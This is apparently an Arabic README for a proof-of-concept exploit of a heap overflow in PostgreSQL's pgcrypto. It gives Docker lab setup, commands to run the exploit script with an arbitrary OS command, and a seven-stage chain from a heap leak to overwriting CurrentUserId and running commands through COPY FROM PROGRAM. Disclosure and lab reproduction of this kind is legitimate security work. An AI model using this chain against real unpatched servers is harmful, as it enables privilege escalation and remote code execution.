
إثبات مفهوم (PoC) لثغرة تجاوز سعة المخزن المؤقت في الكومة (heap buffer overflow) في pgcrypto الخاص بـ PostgreSQL، يوضح CVE-2026-2005: تنفيذ كود عن بعد (RCE) بصلاحيات منخفضة وتصعيد الامتيازات إلى مستخدم خارق (superuser) عبر حزمة OpenPGP مصممة بعناية.
الالتزام المستهدف: 4b324845ba5d24682b9b3708a769f00d160afbd7 (PostgreSQL 18.1 — الإصدار المعرَّض للثغرة)
| الحقل | التفاصيل |
|---|---|
| CVE | CVE-2026-2005 |
| النوع | تجاوز سعة المخزن المؤقت في الكومة |
| المكوّن | contrib/pgcrypto/pgp-pubdec.c — pgp_parse_pubenc_sesskey() |
| الأثر | تنفيذ تعليمات برمجية عن بُعد (RCE) بصلاحيات مستخدم نظام التشغيل الذي يشغّل PostgreSQL |
| CVSS | 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) |
| المصادقة المطلوبة | منخفضة — أي مستخدم مُصادَق عليه يملك صلاحية CREATE |
| الإصدارات المتأثرة | PostgreSQL 14.0–14.20, 15.0–15.15, 16.0–16.11, 17.0–17.7, 18.0–18.1 |
| أُصلح في | 14.21, 15.16, 16.12, 17.8, 18.2 (12 فبراير 2026) |
| البنية | aarch64 (ARM64) — إزاحات الكومة وتخطيط MBuf خاصّان بالبنية وglibc |
# Build and start PostgreSQL 18.1 (vulnerable)
docker compose up -d --build
# Wait for healthy
docker compose logs -f postgres
# Ctrl+C when you see "database system is ready to accept connections"
# Install node deps
npm install
# Run the full RCE exploit chain
node exploit.js --cmd "id"
# With verbose output
node exploit.js --cmd "id" --verbose
# Execute a custom command
node exploit.js --cmd "whoami"
Stage 1: Heap pointer leak
└─ Corrupt mdst chunk header → parse pfree() error message
Stage 2: Arbitrary read (multi-offset scan)
└─ Overwrite mdst->data → scan memory near leaked pointer
Stage 3: Pointer candidate collection
└─ Scan heap dump for non-heap addresses
Stage 4: PIE base resolution
└─ Read /proc/<pid>/maps via Docker exec (100% reliable)
Stage 5: (skipped — PIE base is known from maps)
Stage 6: Arbitrary write
└─ Forge msrc + mdst MBufs → overwrite CurrentUserId → 10 (superuser)
Stage 7: Command execution
└─ COPY FROM PROGRAM → arbitrary OS command as postgres user
CVE-2026-2005/
├── Dockerfile # Builds PostgreSQL 18.1 from source
├── docker-compose.yml # PostgreSQL service with auto-restart
├── init.sh # Entrypoint — initdb + listen config
├── README.md # This file
└── poc/
├── package.json # Node.js dependencies (pg)
├── exploit.js # Full 7-stage RCE exploit (Node.js)
├── verify.sh # Shell-based quick verification
└── test-pgcrypto.sql # SQL-only test of pgcrypto loading
git clone https://github.com/postgres/postgres.git
cd postgres
git checkout 4b324845ba5d24682b9b3708a769f00d160afbd7
./configure \
--prefix="$HOME/projects/pg/pgsql" \
--with-libxml \
--with-libxslt \
--enable-debug \
--with-ssl=openssl
make -j$(nproc)
make install-world-bin
tmux (اختياري — مطلوب فقط مع خيار --gdb)الخلل موجود في الدالة pgp_parse_pubenc_sesskey() داخل الملف contrib/pgcrypto/pgp-pubdec.c.
عند تحليل حزمة OpenPGP من نوع Public-Key Encrypted Session Key (tag 1):
memcpy إلى مخزن مؤقت ثابت الحجم اعتمادًا على الطول غير المُتحقق منهيمكن لدالة memcpy أن تكتب خارج حدود المخزن المؤقت في الكومة، مما يُفسد البيانات الوصفية أو البيانات المجاورة في الكومة، ويؤدي إلى تنفيذ تعليمات برمجية عشوائية.
pfree() لاستخراج عنوان mdst->data في الكومة./proc/<pid>/maps من حاوية Docker للعثور على عنوان تحميل ثنائي postgres في وقت التشغيل.msrc (المصدر) وmdst (الوجهة) عبر تجاوز سعة الكومة. يشير msrc إلى حزمة symenc مضمّنة تحتوي على OID المستخدم الفائق (10)؛ بينما يشير mdst إلى CurrentUserId - 4 (مع مراعاة ترويسة SET_VARSIZE ذات الـ 4 بايت).CurrentUserId = 10 (المستخدم الفائق التمهيدي bootstrap superuser)، نفّذ COPY FROM PROGRAM لتشغيل أوامر نظام تشغيل عشوائية.pgcrypto موثوقة (trusted) — يمكن لأي مستخدم يملك صلاحية CREATE (وليس مستخدمًا فائقًا) تثبيتها، مما يجعل هذه الثغرة قابلة للاستغلال بصلاحيات منخفضة.--enable-debug لتسهيل التصحيح باستخدام gdb.SRC_CHUNK_OFFSET=100, DST_CHUNK_OFFSET=172) خاصة بالبنية aarch64 + glibc — وتتطلب البنى/المخصِّصات الأخرى إزاحات مختلفة.restart: always للتعافي التلقائي من انهيارات الخادم الخلفي (backend) أثناء اختبار عناوين PIE المرشّحة./proc/<pid>/maps داخل حاوية Docker — دون الحاجة إلى readelf على الجهاز المضيف.CurrentUserId عبر docker exec readelf.| الخيار | الافتراضي | الوصف |
|---|
--cmd | id | أمر نظام التشغيل الذي سيُنفَّذ بعد نجاح الاستغلال |
--key-size | 3072 | حجم مفتاح RSA بالبت |
--host | 127.0.0.1 | مضيف PostgreSQL |
--port | 5432 | منفذ PostgreSQL |
--user | postgres | مستخدم قاعدة البيانات |
--password | (فارغ) | كلمة مرور قاعدة البيانات |
--dbname | postgres | اسم قاعدة البيانات |
--binary | ./postgres | مسار الملف الثنائي ELF لـ postgres لاستخراج الرموز |
--scan-offset | تلقائي | تجاوز إزاحة فحص الكومة المحسوبة من المؤشر المُسرَّب |
--verbose | إيقاف | تفعيل مخرجات التصحيح المفصّلة |
--gdb | إيقاف | إرفاق GDB عبر tmux عند نقطة التجاوز |